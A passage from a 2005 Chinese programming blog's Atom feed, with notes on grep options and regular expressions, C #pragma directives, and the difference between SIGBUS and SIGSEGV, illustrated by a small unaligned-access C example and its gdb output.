lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;-L&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span style="font-family:宋体;"&gt;&lt;span style="font-family:宋体;"&gt;，&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span lang="EN"&gt;--files-without-match&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;打印不匹配模板的文件清单。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;-n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span style="font-family:宋体;"&gt;&lt;span style="font-family:宋体;"&gt;，&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span lang="EN"&gt;--line-number&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;在匹配的行前面打印行号。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;-s&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span style="font-family:宋体;"&gt;&lt;span style="font-family:宋体;"&gt;，&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span lang="EN"&gt;--silent&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;不显示关于不存在或者无法读取文件的错误信息。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;-v&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span style="font-family:宋体;"&gt;&lt;span style="font-family:宋体;"&gt;，&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span lang="EN"&gt;--revert-match&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;反检索，只显示不匹配的行。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;-w&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span style="font-family:宋体;"&gt;&lt;span style="font-family:宋体;"&gt;，&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span lang="EN"&gt;--word-regexp&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;如果被&lt;span lang="EN"&gt;\&amp;lt;&lt;/span&gt;和&lt;span lang="EN"&gt;\&amp;gt;&lt;/span&gt;引用，就把表达式做为一个单词搜索。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;-V&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span style="font-family:宋体;"&gt;&lt;span style="font-family:宋体;"&gt;，&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span lang="EN"&gt;--version&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;显示软件版本信息。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2&gt;&lt;a name="id2861493"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="font-family:宋体;font-size:180%;color:black;"&gt;&lt;span lang="EN"  style="font-size:18;"&gt;6. &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;实例&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;要用好&lt;span lang="EN"&gt;grep&lt;/span&gt;这个工具，其实就是要写好正则表达式，所以这里不对&lt;span lang="EN"&gt;grep&lt;/span&gt;的所有功能进行实例讲解，只列几个例子，讲解一个正则表达式的写法。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;$ ls -l | grep '^a'&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;通过管道过滤&lt;span lang="EN"&gt;ls -l&lt;/span&gt;输出的内容，只显示以&lt;span lang="EN"&gt;a&lt;/span&gt;开头的行。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;$ grep 'test' d*&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;显示所有以&lt;span lang="EN"&gt;d&lt;/span&gt;开头的文件中包含&lt;span lang="EN"&gt;test&lt;/span&gt;的行。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;$ grep 'test' aa bb cc&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;显示在&lt;span lang="EN"&gt;aa&lt;/span&gt;，&lt;span lang="EN"&gt;bb&lt;/span&gt;，&lt;span lang="EN"&gt;cc&lt;/span&gt;文件中匹配&lt;span lang="EN"&gt;test&lt;/span&gt;的行。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;$ grep '[a-z]\{5\}' aa&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;显示所有包含每个字符串至少有&lt;span lang="EN"&gt;5&lt;/span&gt;个连续小写字符的字符串的行。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;$ grep 'w\(es\)t.*\1' aa&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;如果&lt;span lang="EN"&gt;west&lt;/span&gt;被匹配，则&lt;span lang="EN"&gt;es&lt;/span&gt;就被存储到内存中，并标记为&lt;span lang="EN"&gt;1&lt;/span&gt;，然后搜索任意个字符（&lt;span lang="EN"&gt;.*&lt;/span&gt;），这些字符后面紧跟着另外一个&lt;span lang="EN"&gt;es&lt;/span&gt;（&lt;span lang="EN"&gt;\1&lt;/span&gt;），找到就显示该行。如果用&lt;span lang="EN"&gt;egrep&lt;/span&gt;或&lt;span lang="EN"&gt;grep -E&lt;/span&gt;，就不用&lt;span lang="EN"&gt;"\"&lt;/span&gt;号进行转义，直接写成&lt;span lang="EN"&gt;'w(es)t.*\1'&lt;/span&gt;就可以了。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2&gt;&lt;a name="id2861608"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="font-family:宋体;font-size:180%;color:black;"&gt;&lt;span lang="EN"  style="font-size:18;"&gt;7. &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;技巧&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p style="margin-left: 36pt; text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;font-size:85%;color:black;"&gt;&lt;span style=";font-family:Symbol;font-size:10;"  lang="EN" &gt;&lt;span style=""&gt;・&lt;span style="font-family:Times New Roman;font-size:78%;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;在结果集中显示彩色的字符。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;pre style="background: rgb(232, 232, 232) none repeat scroll 0% 50%; margin-left: 36pt; text-indent: -18pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;font-size:85%;color:black;"&gt;&lt;span style=";font-family:Symbol;font-size:10;"  lang="EN" &gt;&lt;span style=""&gt;・&lt;span style="font-family:Times New Roman;font-size:78%;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;                &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang="EN"&gt;export GREP_OPTIONS='--color=always'&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background: rgb(232, 232, 232) none repeat scroll 0% 50%; margin-left: 36pt; text-indent: -18pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;font-size:85%;color:black;"&gt;&lt;span style=";font-family:Symbol;font-size:10;"  lang="EN" &gt;&lt;span style=""&gt;・&lt;span style="font-family:Times New Roman;font-size:78%;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;                &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang="EN"&gt;export GREP_COLOR='1;32'&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;font-size:78%;"&gt;&lt;span style=";font-family:Arial;font-size:9;"  lang="EN-US" &gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-113075887696048376?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/113075887696048376/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=113075887696048376' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/113075887696048376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/113075887696048376'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2005/10/grep_31.html' title='Grep学习笔记'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-113073685026813480</id><published>2005-10-31T13:34:00.000+08:00</published><updated>2005-10-31T13:34:10.293+08:00</updated><title type='text'>Grep </title><content type='html'>Grep &lt;br /&gt;grep manual.&lt;br /&gt;&lt;br /&gt;1)$ grep -n '^south' datafile&lt;br /&gt;&lt;br /&gt;    3:southwest    SW      Lewis Dalsass          2.7&lt;br /&gt;&lt;br /&gt;2)$ grep -i 'pat' datafile &lt;br /&gt;&lt;br /&gt;     Pat     Huang                  yuanxiao&lt;br /&gt;&lt;br /&gt;    ps: The -i option turns off case sensitivity (nomatter lowercase or uppercase ).&lt;br /&gt;&lt;br /&gt;3)$grep -v 'Li' datefile&lt;br /&gt;&lt;br /&gt;  ps:The -v option prints all lines not contain the pattern 'Li'.&lt;br /&gt;&lt;br /&gt;4)$grep -l 'SE' *&lt;br /&gt;&lt;br /&gt;  ps: The -l option only prints the filenames where the pattern is found.&lt;br /&gt;&lt;br /&gt;5)$grep -c 'west' datafile&lt;br /&gt;&lt;br /&gt;  ps:The -c option causes grep to print how much lines which&lt;br /&gt;&lt;br /&gt;       matches the pattern .(but if the pattern matches three times in a line, it &lt;br /&gt;&lt;br /&gt;       only count  one time)&lt;br /&gt;&lt;br /&gt;6)$grep -w 'north' datafile&lt;br /&gt;&lt;br /&gt;   ps:The -w option causes grep to find the pattern only if it is a word, not &lt;br /&gt;&lt;br /&gt;        part of word. only the line contain the word north is printed, not   &lt;br /&gt;&lt;br /&gt;        northwest.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;summary:grep can used combine with regular expression, so it's a powerful&lt;br /&gt;&lt;br /&gt;              tool of unix.&lt;br /&gt;&lt;br /&gt;              grep [-v] [-l] [-w] [-c] [-] [] [] [] [] [ ]&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-113073685026813480?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/113073685026813480/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=113073685026813480' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/113073685026813480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/113073685026813480'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2005/10/grep.html' title='Grep '/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-113058073238031429</id><published>2005-10-29T18:12:00.000+08:00</published><updated>2005-10-29T18:12:12.396+08:00</updated><title type='text'>解析#pragma指令</title><content type='html'>解析#pragma指令&lt;br /&gt;在所有的预处理指令中，#Pragma 指令可能是最复杂的了，它的作用是设定编译器的状态或者是指示编译器完成一些特定的动作。#pragma指令对每个编译器给出了一个方法,在保持与C和C++语言完全兼容的情况下,给出主机或操作系统专有的特征。依据定义,编译指示是机器或操作系统专有的,且对于每个编译器都是不同的。&lt;br /&gt;其格式一般为: #Pragma Para&lt;br /&gt;其中Para 为参数，下面来看一些常用的参数。 &lt;br /&gt;&lt;br /&gt;(1)message 参数。 Message 参数是我最喜欢的一个参数，它能够在编译信息输出窗&lt;br /&gt;口中输出相应的信息，这对于源代码信息的控制是非常重要的。其使用方法为：&lt;br /&gt;#Pragma message(“消息文本”)&lt;br /&gt;当编译器遇到这条指令时就在编译输出窗口中将消息文本打印出来。&lt;br /&gt;当我们在程序中定义了许多宏来控制源代码版本的时候，我们自己有可能都会忘记有没有正确的设置这些宏，此时我们可以用这条指令在编译的时候就进行检查。假设我们希望判断自己有没有在源代码的什么地方定义了_X86这个宏可以用下面的方法&lt;br /&gt;#ifdef _X86&lt;br /&gt;#Pragma message(“_X86 macro activated!”) #endif&lt;br /&gt;当我们定义了_X86这个宏以后，应用程序在编译时就会在编译输出窗口里显示“_&lt;br /&gt;X86 macro activated!”。我们就不会因为不记得自己定义的一些特定的宏而抓耳挠腮了&lt;br /&gt;。 &lt;br /&gt;&lt;br /&gt;(2)另一个使用得比较多的pragma参数是code_seg。格式如：&lt;br /&gt;#pragma code_seg( ["section-name"[,"section-class"] ] )&lt;br /&gt;它能够设置程序中函数代码存放的代码段，当我们开发驱动程序的时候就会使用到它。 &lt;br /&gt;&lt;br /&gt;(3)#pragma once (比较常用）&lt;br /&gt;只要在头文件的最开始加入这条指令就能够保证头文件被编译一次，这条指令实际上在VC6中就已经有了，但是考虑到兼容性并没有太多的使用它。 &lt;br /&gt;&lt;br /&gt;(4)#pragma hdrstop表示预编译头文件到此为止，后面的头文件不进行预编译。BCB可以预编译头文件以加快链接的速度，但如果所有头文件都进行预编译又可能占太多磁盘空间，所以使用这个选项排除一些头文件。&lt;br /&gt;有时单元之间有依赖关系，比如单元A依赖单元B，所以单元B要先于单元A编译。你可以用#pragma startup指定编译优先级，如果使用了#pragma package(smart_init) ，BCB就会根据优先级的大小先后编译。 &lt;br /&gt;&lt;br /&gt;(5)#pragma resource "*.dfm"表示把*.dfm文件中的资源加入工程。*.dfm中包括窗体&lt;br /&gt;外观的定义。 &lt;br /&gt;&lt;br /&gt;(6)#pragma warning( disable : 4507 34; once : 4385; error : 164 )&lt;br /&gt;等价于：&lt;br /&gt;#pragma warning(disable:4507 34) // 不显示4507和34号警告信息&lt;br /&gt;#pragma warning(once:4385) // 4385号警告信息仅报告一次&lt;br /&gt;#pragma warning(error:164) // 把164号警告信息作为一个错误。&lt;br /&gt;同时这个pragma warning 也支持如下格式：&lt;br /&gt;#pragma warning( push [ ,n ] )&lt;br /&gt;#pragma warning( pop )&lt;br /&gt;这里n代表一个警告等级(1---4)。&lt;br /&gt;#pragma warning( push )保存所有警告信息的现有的警告状态。&lt;br /&gt;#pragma warning( push, n)保存所有警告信息的现有的警告状态，并且把全局警告&lt;br /&gt;等级设定为n。&lt;br /&gt;#pragma warning( pop )向栈中弹出最后一个警告信息，在入栈和出栈之间所作的&lt;br /&gt;一切改动取消。例如：&lt;br /&gt;#pragma warning( push )&lt;br /&gt;#pragma warning( disable : 4705 )&lt;br /&gt;#pragma warning( disable : 4706 )&lt;br /&gt;#pragma warning( disable : 4707 )&lt;br /&gt;//....... &lt;br /&gt;#pragma warning( pop )&lt;br /&gt;在这段代码的最后，重新保存所有的警告信息(包括4705，4706和4707)。&lt;br /&gt;（7）pragma comment(...)&lt;br /&gt;该指令将一个注释记录放入一个对象文件或可执行文件中。&lt;br /&gt;常用的lib关键字，可以帮我们连入一个库文件。&lt;br /&gt;&lt;br /&gt;(8)#pragma pack()&lt;br /&gt;我们知道在VC中，对于想结构体Struct这样的类型，VC采用8字节对齐的方式，如果我们不想使用8字节对齐（在网络变成中经常需要这样），我们可以在结构体前面加上&lt;br /&gt;#pragma pack(1)&lt;br /&gt;struct&lt;br /&gt;{&lt;br /&gt;...... &lt;br /&gt;}&lt;br /&gt;#pragma pack() &lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-113058073238031429?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/113058073238031429/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=113058073238031429' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/113058073238031429'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/113058073238031429'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2005/10/pragma.html' title='解析#pragma指令'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-113013425891308486</id><published>2005-10-24T14:10:00.000+08:00</published><updated>2007-02-03T02:47:51.511+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>理解SIGBUS与SIGSEGV</title><content type='html'>时间:2005-09-13 23:20 出处:Blog.ChinaUnix.net&lt;br /&gt;&lt;br /&gt;理解SIGBUS与SIGSEGV&lt;br /&gt;Searched by google&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Q: SIGSEGV我能理解，但有时碰上SIGBUS，这该如何理解。&lt;br /&gt;&lt;br /&gt;A: nkwht@smth&lt;br /&gt;&lt;br /&gt;nkwht用Google获取这样一些知识。有多种可能导致SIGBUS信号:&lt;br /&gt;&lt;br /&gt;1) 硬件故障，不用说，程序员最常碰上的肯定不是这种情形。&lt;br /&gt;&lt;br /&gt;2) Linux平台上执行malloc()，如果没有足够的RAM，Linux不是让malloc()失败返回，&lt;br /&gt;  而是向当前进程分发SIGBUS信号。&lt;br /&gt;&lt;br /&gt;  注: 对该点执怀疑态度，有机会可自行测试确认当前系统反应。&lt;br /&gt;&lt;br /&gt;3) 某些架构上访问数据时有对齐的要求，比如只能从4字节边界上读取一个4字节的&lt;br /&gt;  数据类型。IA-32架构没有硬性要求对齐，尽管未对齐的访问降低执行效率。另外&lt;br /&gt;  一些架构，比如SPARC、m68k，要求对齐访问，否则向当前进程分发SIGBUS信号。&lt;br /&gt;&lt;br /&gt;SIGBUS与SIGSEGV信号一样，可以正常捕获。SIGBUS的缺省行为是终止当前进程并产&lt;br /&gt;生core dump。&lt;br /&gt;&lt;br /&gt;A: Marc Rochkind&lt;br /&gt;&lt;br /&gt;SIGBUS与SIGSEGV信号的一般区别如下:&lt;br /&gt;&lt;br /&gt;1) SIGBUS(Bus error)意味着指针所对应的地址是有效地址，但总线不能正常使用该&lt;br /&gt;  指针。通常是未对齐的数据访问所致。&lt;br /&gt;&lt;br /&gt;2) SIGSEGV(Segment fault)意味着指针所对应的地址是无效地址，没有物理内存对&lt;br /&gt;  应该地址。&lt;br /&gt;&lt;br /&gt;A: scz  2002-11-20&lt;br /&gt;&lt;br /&gt;参"2.4 如何编程获取栈底地址"中如何捕获SIGBUS与SIGSEGV信号，并利用sigsetjmp、&lt;br /&gt;siglongjmp重获控制权。&lt;br /&gt;&lt;br /&gt;测试表明，在x86/Linux、x86/Solaris、SPARC/Solaris平台上，越过栈底的地址访&lt;br /&gt;问导致SIGSEGV信号。在x86/FreeBSD、x86/NetBSD、x86/OpenBSD平台上，越过栈底&lt;br /&gt;的地址访问导致SIGBUS信号，而不是SIGSEGV信号。&lt;br /&gt;&lt;br /&gt;下面举例解释一下，什么叫未对齐的数据访问。&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------&lt;br /&gt;/*&lt;br /&gt;* Test: SPARC/Solaris 8 64-bit kernel mode&lt;br /&gt;* gcc -Wall -pipe -g -o bus bus.c&lt;br /&gt;*/&lt;br /&gt;#include&lt;br /&gt;#include&lt;br /&gt;&lt;br /&gt;int main ( int argc, char * argv[] )&lt;br /&gt;{&lt;br /&gt;   unsigned int        i = 0x12345678;&lt;br /&gt;   unsigned short int *q = NULL;&lt;br /&gt;   unsigned char      *p = ( unsigned char * )&amp;i;&lt;br /&gt;&lt;br /&gt;   *p = 0x00;&lt;br /&gt;   q  = ( unsigned short int * )( p + 1 );&lt;br /&gt;   *q = 0x0000;&lt;br /&gt;   return( EXIT_SUCCESS );&lt;br /&gt;}  /* end of main */&lt;br /&gt;--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;$ ./bus&lt;br /&gt;总线错误 (core dumped)&lt;br /&gt;$ gdb ./bus core&lt;br /&gt;GNU gdb 5.0&lt;br /&gt;#0  0x1084c in main (argc=1, argv=0xffbefc54) at bus.c:16&lt;br /&gt;16          *q = 0x0000;&lt;br /&gt;(gdb) disas main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;0x10810    :      save  %sp, -128, %sp&lt;br /&gt;0x10814  :      st  %i0, [ %fp + 0x44 ]&lt;br /&gt;0x10818  :      st  %i1, [ %fp + 0x48 ]&lt;br /&gt;0x1081c :      sethi  %hi(0x12345400), %o1&lt;br /&gt;0x10820 :      or  %o1, 0x278, %o0     ! 0x12345678&lt;br /&gt;0x10824 :      st  %o0, [ %fp + -20 ]&lt;br /&gt;0x10828 :      clr  [ %fp + -24 ]&lt;br /&gt;0x1082c :      add  %fp, -20, %o0&lt;br /&gt;0x10830 :      st  %o0, [ %fp + -28 ]&lt;br /&gt;0x10834 :      ld  [ %fp + -28 ], %o0&lt;br /&gt;0x10838 :      clrb  [ %o0 ]&lt;br /&gt;0x1083c :      ld  [ %fp + -28 ], %o0&lt;br /&gt;0x10840 :      add  %o0, 1, %o1&lt;br /&gt;0x10844 :      st  %o1, [ %fp + -24 ]&lt;br /&gt;0x10848 :      ld  [ %fp + -24 ], %o0&lt;br /&gt;0x1084c :      clrh  [ %o0 ]&lt;br /&gt;0x10850 :      clr  %i0&lt;br /&gt;0x10854 :      b  0x1085c&lt;br /&gt;0x10858 :      nop&lt;br /&gt;0x1085c :      ret&lt;br /&gt;0x10860 :      restore&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) i r pc&lt;br /&gt;pc             0x1084c  67660&lt;br /&gt;(gdb) i r o0&lt;br /&gt;o0             0xffbefbdd       -4260899&lt;br /&gt;(gdb) x/3bx 0xffbefbdd&lt;br /&gt;0xffbefbdd:     0x34    0x56    0x78&lt;br /&gt;(gdb)&lt;br /&gt;&lt;br /&gt;从C语言来说，执行"*q = 0x0000;"时导致SIGBUS了。从汇编指令来说，执行"clrh [%o0]"&lt;br /&gt;时导致SIGBUS了，寄存器%o0值为0xffbefbdd，这个地址未对齐在双字节边界上。&lt;br /&gt;&lt;br /&gt;注意，gcc编译时并未指定-O进行优化，但仍然使用clrh，而不是两次clrb。类似&lt;br 